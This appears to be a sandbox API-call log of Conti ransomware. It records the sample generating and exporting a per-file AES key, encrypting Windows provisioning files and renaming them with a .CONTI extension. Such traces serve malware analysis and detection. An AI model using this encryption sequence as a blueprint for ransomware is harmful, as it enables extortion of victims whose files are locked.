	[0112.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.430] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.431] GetProcessHeap () returned 0x1720000
	[0112.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.431] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0112.431] GetProcessHeap () returned 0x1720000
	[0112.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180caa0 | out: hHeap=0x1720000) returned 1
	[0112.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.431] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65aec00 | out: phKey=0x65aec00*=0x17c7ff0) returned 1
	[0112.431] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65aec04, pdwDataLen=0x5affca4 | out: pbData=0x65aec04*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.432] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.432] GetLastError () returned 0x0
	[0112.432] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=722) returned 1
	[0112.432] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0112.432] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.432] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.432] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.432] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.433] WriteFile (in: hFile=0x3f8, lpBuffer=0x65aec04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65aec04*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.434] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.434] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d2, lpOverlapped=0x0) returned 1
	[0112.434] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d2, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0112.434] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.434] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.434] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.434] WriteFile (in: hFile=0x3f8, lpBuffer=0x65aebf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65aebf8*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.435] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.435] CloseHandle (hObject=0x3f8) returned 1
	[0112.435] GetProcessHeap () returned 0x1720000
	[0112.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.435] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml"
	[0112.435] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.435] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.435] GetProcessHeap () returned 0x1720000
	[0112.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.436] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0112.436] GetProcessHeap () returned 0x1720000
	[0112.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a2e0 | out: hHeap=0x1720000) returned 1
	[0112.436] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.436] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65af768 | out: phKey=0x65af768*=0x17c82b0) returned 1
	[0112.436] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65af76c, pdwDataLen=0x5affca4 | out: pbData=0x65af76c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.436] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.437] GetLastError () returned 0x0
	[0112.437] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=840) returned 1
	[0112.437] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x348
	[0112.437] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.437] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.437] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.437] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.437] WriteFile (in: hFile=0x3f8, lpBuffer=0x65af76c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65af76c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.439] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.439] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x348, lpOverlapped=0x0) returned 1
	[0112.439] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x348, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x350) returned 1
	[0112.439] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.439] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x350, lpOverlapped=0x0) returned 1
	[0112.439] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.439] WriteFile (in: hFile=0x3f8, lpBuffer=0x65af760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65af760*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.439] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.439] CloseHandle (hObject=0x3f8) returned 1
	[0112.439] GetProcessHeap () returned 0x1720000
	[0112.440] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.440] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml"
	[0112.440] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.440] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.440] GetProcessHeap () returned 0x1720000
	[0112.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.440] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0112.440] GetProcessHeap () returned 0x1720000
	[0112.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588e70 | out: hHeap=0x1720000) returned 1
	[0112.441] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.441] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65aee48 | out: phKey=0x65aee48*=0x17c85b0) returned 1
	[0112.441] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65aee4c, pdwDataLen=0x5affca4 | out: pbData=0x65aee4c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.441] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.442] GetLastError () returned 0x0
	[0112.442] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=726) returned 1
	[0112.442] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0112.442] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.442] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.442] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.442] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.442] WriteFile (in: hFile=0x3f8, lpBuffer=0x65aee4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65aee4c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.444] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.444] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d6, lpOverlapped=0x0) returned 1
	[0112.444] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d6, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0112.444] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.444] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.444] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.444] WriteFile (in: hFile=0x3f8, lpBuffer=0x65aee40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65aee40*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.444] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.444] CloseHandle (hObject=0x3f8) returned 1
	[0112.445] GetProcessHeap () returned 0x1720000
	[0112.445] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.445] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml"
	[0112.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.445] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.445] GetProcessHeap () returned 0x1720000
	[0112.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.445] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0112.445] GetProcessHeap () returned 0x1720000
	[0112.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d78b0 | out: hHeap=0x1720000) returned 1
	[0112.445] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.446] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65b09a8 | out: phKey=0x65b09a8*=0x17c8370) returned 1
	[0112.446] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b09ac, pdwDataLen=0x5affca4 | out: pbData=0x65b09ac*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.446] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.446] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.447] GetLastError () returned 0x0
	[0112.447] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=847) returned 1
	[0112.447] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0112.447] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.447] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.447] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.447] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.447] WriteFile (in: hFile=0x3f8, lpBuffer=0x65b09ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65b09ac*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
